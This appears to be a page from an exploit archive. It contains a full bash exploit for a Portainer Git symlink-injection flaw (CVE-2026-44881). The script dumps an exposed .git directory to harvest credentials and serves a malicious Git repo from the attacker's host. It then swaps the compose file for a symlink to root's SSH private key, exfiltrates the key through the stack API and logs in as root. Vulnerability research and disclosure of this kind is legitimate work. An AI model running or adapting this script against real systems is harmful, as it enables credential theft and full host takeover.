5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.sh SH
#!/usr/bin/env bash
# CVE-2026-44881 — Portainer Git Symlink Injection → Arbitrary Host File Read
#
# End-to-end exploit:
#   1. dump leaked .git from port 80 → recover Portainer trial creds
#   2. log in as the trial user
#   3. stand up a malicious Git repo on a local port
#   4. create a Git-backed Portainer stack (clean YAML, passes validation)
#   5. push a commit replacing docker-compose.yml with a symlink to /root/.ssh/id_rsa
#   6. trigger the stack git/redeploy endpoint
#   7. read /api/stacks/<id>/file → the symlink target's content
#   8. (optional) SSH in with the leaked key
#
# Affected: Portainer CE 2.33.0–2.33.7, 2.39.0–2.39.1, 2.40.x (fix: 2.33.8 / 2.39.2 / 2.41.0)
# Reference: https://github.com/portainer/portainer/security/advisories/GHSA-rpgq-m5fp-32wr
#
# Usage:
#   ./exploit.sh -t <target_ip> [-a <attacker_ip>] [-l <leak_path>] [-p <portainer_port>]
#                [-g <git_port>] [-w <workdir>] [--no-ssh] [--no-creds-from-git]
#                [-u <user>] [-P <pass>]
#
# Requires: bash, curl, jq, git, git-daemon, ssh, python3 (only if --no-creds-from-git uses pip-installed git-dumper)
# Optional: git-dumper (will fall back to manual dumb-HTTP enumeration if absent)

set -euo pipefail

# ─── defaults ────────────────────────────────────────────────────────────────
TARGET=""
ATTACKER=""
LEAK_PATH="/.git"
PORTAINER_PORT="9000"
GIT_PORT="9418"
WORKDIR=""
DO_SSH=1
GET_CREDS_FROM_GIT=1
TRIAL_USER=""
TRIAL_PASS=""

# ─── pretty logging ──────────────────────────────────────────────────────────
c_grn=$'\033[32m'; c_red=$'\033[31m'; c_ylw=$'\033[33m'; c_cyn=$'\033[36m'; c_off=$'\033[0m'
log()  { printf '%s[+]%s %s\n' "$c_grn" "$c_off" "$*"; }
warn() { printf '%s[!]%s %s\n' "$c_ylw" "$c_off" "$*" >&2; }
die()  { printf '%s[-]%s %s\n' "$c_red" "$c_off" "$*" >&2; exit 1; }
step() { printf '\n%s=== %s ===%s\n' "$c_cyn" "$*" "$c_off"; }

usage() {
    sed -n '2,20p' "$0"
    exit 0
}

# ─── argparse ────────────────────────────────────────────────────────────────
while [[ $# -gt 0 ]]; do
    case $1 in
        -t|--target)             TARGET="$2"; shift 2 ;;
        -a|--attacker)           ATTACKER="$2"; shift 2 ;;
        -l|--leak-path)          LEAK_PATH="$2"; shift 2 ;;
        -p|--portainer-port)     PORTAINER_PORT="$2"; shift 2 ;;
        -g|--git-port)           GIT_PORT="$2"; shift 2 ;;
        -w|--workdir)            WORKDIR="$2"; shift 2 ;;
        --no-ssh)                DO_SSH=0; shift ;;
        --no-creds-from-git)     GET_CREDS_FROM_GIT=0; shift ;;
        -u|--user)               TRIAL_USER="$2"; shift 2 ;;
        -P|--pass)               TRIAL_PASS="$2"; shift 2 ;;
        -h|--help)               usage ;;
        *)                       die "unknown flag: $1" ;;
    esac
done

[[ -n "$TARGET" ]] || die "target IP required (-t)"
[[ -n "$WORKDIR" ]] || WORKDIR="$(mktemp -d -t cve44881-XXXXXX)"

# Auto-detect attacker IP if not given (pick the first non-loopback IPv4)
if [[ -z "$ATTACKER" ]]; then
    ATTACKER=$(ip -4 addr show 2>/dev/null | grep -oP '(?<=inet )\d+\.\d+\.\d+\.\d+' | grep -v '^127\.' | head -1)
    [[ -n "$ATTACKER" ]] || die "could not auto-detect attacker IP; pass -a <ip>"
fi

# Sanity check dependencies
for bin in curl jq git ssh; do
    command -v "$bin" >/dev/null || die "missing dependency: $bin"
done
if ! command -v git-daemon >/dev/null && ! git daemon --help >/dev/null 2>&1; then
    warn "git daemon not detected — try: sudo apt install git-daemon-run"
fi

log "Target          : http://${TARGET}:${PORTAINER_PORT}"
log "Attacker IP     : ${ATTACKER}"
log "Workdir         : ${WORKDIR}"

# ─── stage 1: recover credentials from leaked .git ───────────────────────────
if [[ $GET_CREDS_FROM_GIT -eq 1 ]]; then
    step "Stage 1 — dump leaked ${LEAK_PATH} and recover creds"

    GITDUMP_DIR="${WORKDIR}/leaked"
    rm -rf "$GITDUMP_DIR"

    if command -v git-dumper >/dev/null; then
        log "git-dumper found, running it..."
        git-dumper "http://${TARGET}${LEAK_PATH}/" "$GITDUMP_DIR" 2>&1 | tail -3
    else
        log "git-dumper not found; manual dumb-HTTP enumeration..."
        mkdir -p "$GITDUMP_DIR/.git"
        # Fetch the canonical files git needs to be a valid working dir
        for f in HEAD config description \
                 info/refs info/exclude \
                 logs/HEAD \
                 refs/heads/master refs/heads/main \
                 objects/info/packs \
                 packed-refs; do
            mkdir -p "$GITDUMP_DIR/.git/$(dirname "$f")"
            curl -fsS -o "$GITDUMP_DIR/.git/$f" "http://${TARGET}${LEAK_PATH}/$f" 2>/dev/null || true
        done

        # Discover the head commit + walk back through parents to fetch loose objects.
        # This is a minimal git-dumper — handles the common loose-object case our lab uses.
        fetch_object() {
            local sha="$1" prefix="${1:0:2}" rest="${1:2}"
            local out="$GITDUMP_DIR/.git/objects/$prefix/$rest"
            [[ -f "$out" ]] && return 0
            mkdir -p "$(dirname "$out")"
            curl -fsS -o "$out" "http://${TARGET}${LEAK_PATH}/objects/$prefix/$rest" 2>/dev/null || rm -f "$out"
            [[ -f "$out" ]]
        }

        cd "$GITDUMP_DIR"
        head_ref=$(cat .git/HEAD | sed -n 's|^ref: ||p')
        head_sha=""
        [[ -f ".git/$head_ref" ]] && head_sha=$(cat ".git/$head_ref" | tr -d '\n\r ')
        [[ -z "$head_sha" && -f ".git/packed-refs" ]] && \
            head_sha=$(awk -v r="$head_ref" '$2==r{print $1}' .git/packed-refs)

        if [[ -z "$head_sha" ]]; then
            warn "could not resolve HEAD ref — install git-dumper for robust dumping"
            cd - >/dev/null
        else
            # Walk objects: BFS from HEAD commit → tree → parents recursively
            queue=("$head_sha")
            seen=""
            while [[ ${#queue[@]} -gt 0 ]]; do
                sha="${queue[0]}"; queue=("${queue[@]:1}")
                [[ ",$seen," == *",$sha,"* ]] && continue
                seen="$seen,$sha"
                fetch_object "$sha" || continue
                # Try to parse it
                type=$(git -C "$GITDUMP_DIR" cat-file -t "$sha" 2>/dev/null || true)
                case "$type" in
                    commit)
                        for child in $(git -C "$GITDUMP_DIR" cat-file -p "$sha" 2>/dev/null \
                                       | awk '/^tree /{print $2} /^parent /{print $2}'); do
                            queue+=("$child")
                        done ;;
                    tree)
                        for child in $(git -C "$GITDUMP_DIR" ls-tree -r "$sha" 2>/dev/null \
                                       | awk '{print $3}'); do
                            queue+=("$child")
                        done ;;
                esac
            done
            cd - >/dev/null
        fi
    fi

    # Validate the dump
    if ! git -C "$GITDUMP_DIR" log --oneline >/dev/null 2>&1; then
        die "git dump incomplete; install git-dumper (pipx install git-dumper) and retry"
    fi
    log "git history:"
    git -C "$GITDUMP_DIR" log --oneline | sed 's/^/    /'

    # Pluck creds out of any onboarding.env in history (current or removed)
    env_blob=$(git -C "$GITDUMP_DIR" log --all -p -- onboarding.env 2>/dev/null \
               | grep -E '^\+(PORTAINER|TRIAL|USER|PASS|.*USER=|.*PASS=)' || true)
    TRIAL_USER=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_USER=.*' | head -1 | cut -d'=' -f2- | tr -d '\r')
    TRIAL_PASS=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_PASS=.*' | head -1 | cut -d'=' -f2- | tr -d '\r')
    [[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "could not extract creds from .git history"
    log "Recovered creds: ${TRIAL_USER} / ${TRIAL_PASS}"
fi

[[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "no credentials available — pass -u/-P or enable --no-creds-from-git=0"

# ─── stage 2: Portainer auth ─────────────────────────────────────────────────
step "Stage 2 — Portainer auth"
JWT=$(curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/auth" \
    -H 'Content-Type: application/json' \
    -d "{\"Username\":\"${TRIAL_USER}\",\"Password\":\"${TRIAL_PASS}\"}" | jq -r .jwt)
[[ -n "$JWT" && "$JWT" != "null" ]] || die "login failed for ${TRIAL_USER}"
log "JWT: ${JWT:0:32}..."

ENDPOINT_ID=$(curl -s -H "Authorization: Bearer $JWT" \
    "http://${TARGET}:${PORTAINER_PORT}/api/endpoints" | jq -r '.[0].Id // empty')
[[ -n "$ENDPOINT_ID" ]] || die "no Docker endpoint visible to ${TRIAL_USER}"
log "Endpoint ID: ${ENDPOINT_ID}"

# ─── stage 3: stand up the bait git repo ─────────────────────────────────────
step "Stage 3 — host the bait Git repo on git://${ATTACKER}:${GIT_PORT}/repo.git"
REPO_BASE="${WORKDIR}/git"
rm -rf "$REPO_BASE"
mkdir -p "$REPO_BASE"
cd "$REPO_BASE"
git init -q --bare repo.git
git clone -q repo.git work
cd work
cat > docker-compose.yml <<'YAML'
services:
  hi:
    image: hello-world
YAML
git add docker-compose.yml
git -c user.email=e@e -c user.name=e commit -q -m clean
git push -q origin master

cd "$REPO_BASE"
# Kill any previous git daemon on this port we may have left running
pkill -f "git-daemon.*--port=${GIT_PORT}" 2>/dev/null || true
git daemon --base-path="$REPO_BASE" --export-all --reuseaddr --port="${GIT_PORT}" \
    --listen=0.0.0.0 --detach 2>/dev/null &
DAEMON_PID=$!
sleep 1
log "git daemon up (pid ${DAEMON_PID})"

# ─── stage 4: create stack with clean YAML (validation passes) ───────────────
step "Stage 4 — create the Git-backed stack (clean YAML)"
STACK_NAME="leak-$RANDOM"
curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/stacks/create/standalone/repository?endpointId=${ENDPOINT_ID}" \
    -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
    -d "{\"Name\":\"${STACK_NAME}\",\"RepositoryURL\":\"git://${ATTACKER}:${GIT_PORT}/repo.git\",\"RepositoryReferenceName\":\"refs/heads/master\",\"ComposeFile\":\"docker-compose.yml\",\"RepositoryAuthentication\":false}" \
    >/dev/null

SID=$(curl -s -H "Authorization: Bearer $JWT" "http://${TARGET}:${PORTAINER_PORT}/api/stacks" \
      | jq -r ".[] | select(.Name==\"${STACK_NAME}\") | .Id")
[[ -n "$SID" ]] || die "stack creation failed (could not find ${STACK_NAME} in list)"
log "Stack ID: ${SID}"

# ─── stage 5: replace docker-compose.yml with symlink, push, redeploy ────────
step "Stage 5 — push symlink commit + trigger redeploy (validation will fail, on disk is overwritten)"
cd "$REPO_BASE/work"
rm -f docker-compose.yml
ln -s ../../../mnt/host/root/.ssh/id_rsa docker-compose.yml
git add -A
git -c user.email=e@e -c user.name=e commit -q -m evil
git push -q origin master

redeploy_resp=$(curl -s -X PUT "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/git/redeploy?endpointId=${ENDPOINT_ID}" \
    -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
    -d '{"env":[],"prune":false,"pullImage":false}')
log "redeploy response: ${redeploy_resp}"

# ─── stage 6: leak the file ──────────────────────────────────────────────────
step "Stage 6 — GET /api/stacks/${SID}/file"
KEY_OUT="${WORKDIR}/stolen_id_rsa"
curl -s -H "Authorization: Bearer $JWT" \
    "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/file" \
    | jq -r .StackFileContent > "$KEY_OUT"
chmod 600 "$KEY_OUT"

if ! grep -q 'PRIVATE KEY' "$KEY_OUT"; then
    warn "leak output doesn't look like an SSH key — dumping first 5 lines:"
    head -5 "$KEY_OUT" >&2
    die "leak failed"
fi
log "leaked private key saved to ${KEY_OUT}"
head -1 "$KEY_OUT"
echo "..."
tail -1 "$KEY_OUT"

# ─── stage 7: SSH in (optional) ──────────────────────────────────────────────
if [[ $DO_SSH -eq 1 ]]; then
    step "Stage 7 — SSH in as root with leaked key"
    ssh -i "$KEY_OUT" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
        -o LogLevel=ERROR root@"${TARGET}" \
        'echo "=== id ==="; id; echo "=== hostname ==="; hostname; echo "=== flag ==="; cat /root/proof.txt 2>/dev/null || echo "(no /root/proof.txt)"' \
        || warn "ssh failed (lab may require non-default port or different user)"
fi

step "Done — exploit complete"
log "private key:  ${KEY_OUT}"
log "interactive:  ssh -i ${KEY_OUT} -o StrictHostKeyChecking=no root@${TARGET}"
log "cleanup:      kill ${DAEMON_PID}; rm -rf ${WORKDIR}"